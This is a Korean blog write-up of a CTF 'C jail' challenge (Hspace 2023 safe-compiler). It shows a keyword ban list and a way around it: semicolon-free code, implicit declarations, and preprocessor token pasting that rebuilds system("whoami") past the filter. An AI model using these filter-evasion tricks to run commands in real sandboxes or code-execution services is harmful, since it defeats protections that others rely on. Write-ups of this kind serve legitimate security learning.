CTF Writeup

safe-compiler / C jail Trick

LittleDev0617 2023. 11. 27. 10:14

2023.11.26 Hspace CTF - safe compiler

 

BAN_LIST = ['sys', 'exe', 'asm', 'attr', 'mprotect', 'mmap', 'munmap', 'open', 'read', 'write', ';', 'include']

 

CTF C Jail semicolon & include filtered bypass

 

1. semicolon

#include <stdio.h>
int main()
{
    if(printf("Hello, World\n")) {}
}

if, while, switch 안에 표현식(expression) 을 넣어서 세미콜론 없이 코드를 작성할 수 있다.

 

2. include

헤더를 include 할 수 없어서 __asm__ 을 생각해볼 수 있는데 표현식이 아니라 statement 라 세미콜론 우회를 하지 못한다.

if( if() ) {}

기본적인 statement 인 if 를 위처럼 사용하지 못하는 것처럼, __asm__ 도 사용할 수 없다.

 

이는 implicit function declaration 으로 우회할 수 있다.

C 코드 짜다 보면 헤더 include 를 깜빡하고 컴파일 했는데 정상 실행 되었던 적이 있을 것이다.

standard library 내의 함수같은 경우 함수의 시그니쳐를 맞춘다면 알아서 linking 해주는 모양이다.

https://stackoverflow.com/questions/8930641/c-program-without-header

 

C program without header

I write "hello world" program in C. void main() { printf("Hello World"); } // note that I haven't included any header file The program compiles with warning as vikram@vikram-Studio-XPS-1645:~$...

stackoverflow.com

 

 

3. 함수 이름 필터링

C 에서는 전처리 과정을 거쳐 컴파일 하는데, 전처리 과정을 거친 후 내가 원하는 함수이름을 완성시킬 수 있다면 함수 이름 필터링을 우회할 수 있다.

 

C 의 전처리 연산 중 ## 이 있다.

https://gcc.gnu.org/onlinedocs/cpp/Concatenation.html

 

Concatenation (The C Preprocessor)

3.5 Concatenation ¶ It is often useful to merge two tokens into one while expanding macros. This is called token pasting or token concatenation. The ‘##’ preprocessing operator performs token pasting. When a macro is expanded, the two tokens on either

gcc.gnu.org

// test.c
#define haha sy##stem

int main()
{
	haha("whoami")
}
littledev0617@LittleDev:~/hspace2023$ gcc -E ./test.c
# 0 "./test.c"
# 0 "<built-in>"
# 0 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 0 "<command-line>" 2
# 1 "./test.c"


int main()
{
 system("whoami");
}

 

짜잔

위처럼 전처리 과정을 거친 후 system 함수가 완성된다.

만약 cat, ls 등 명령어 문자열이 필터링 되었다면 # 전처리 연산을 이용하여 문자열 상수를 만들 수 있다.

https://gcc.gnu.org/onlinedocs/cpp/Stringizing.html

#define to_str(A) #A

int main()
{
	printf(to_str(Hello World));
}


/*
int main()
{
 printf("Hello World");
}
*/

 

 

여담으로 위 # 연산은 assert 에도 사용된다.

int x = 0;
assert(x == 1);

 

와 같은 코드를 작성하면 오류에 "x == 1" 이라는 문자열을 출력해야 하는데, x == 1 은 코드지 문자열 상수가 아니다.

이는 assert 가 매크로 함수이기 때문에 표현식을 위 예제처럼 문자열 상수화 할 수 있던 것이다.

 

다시 돌아와서 이를 응용하면 아래처럼 코드를 작성할 수 있다.

#define concat(a, b) a ## b
#define haha concat(sy, stem)
#define hehe concat(wh, oami)
#define hehe2(a) str(a)
#define str(a) #a

int main()
{
        haha(hehe2(hehe));
}

 

 

 

이제 문제를 풀기만 하면 된다

 

플래그가 파일 안에 있으니 이 파이썬 파일을 출력하면 될 것 같다.

 

 

'CTF Writeup' 카테고리의 다른 글

freeboard - php blind error based sqli  (1) 2023.11.27
hdrive - tar symbolic link attack  (1) 2023.11.27
2023 WACON Qual - Adult Artist  (2) 2023.09.03
2023 hspace CTF  (0) 2023.09.01
2023 Bauhinia CTF - Very Simplified RPG  (1) 2023.08.21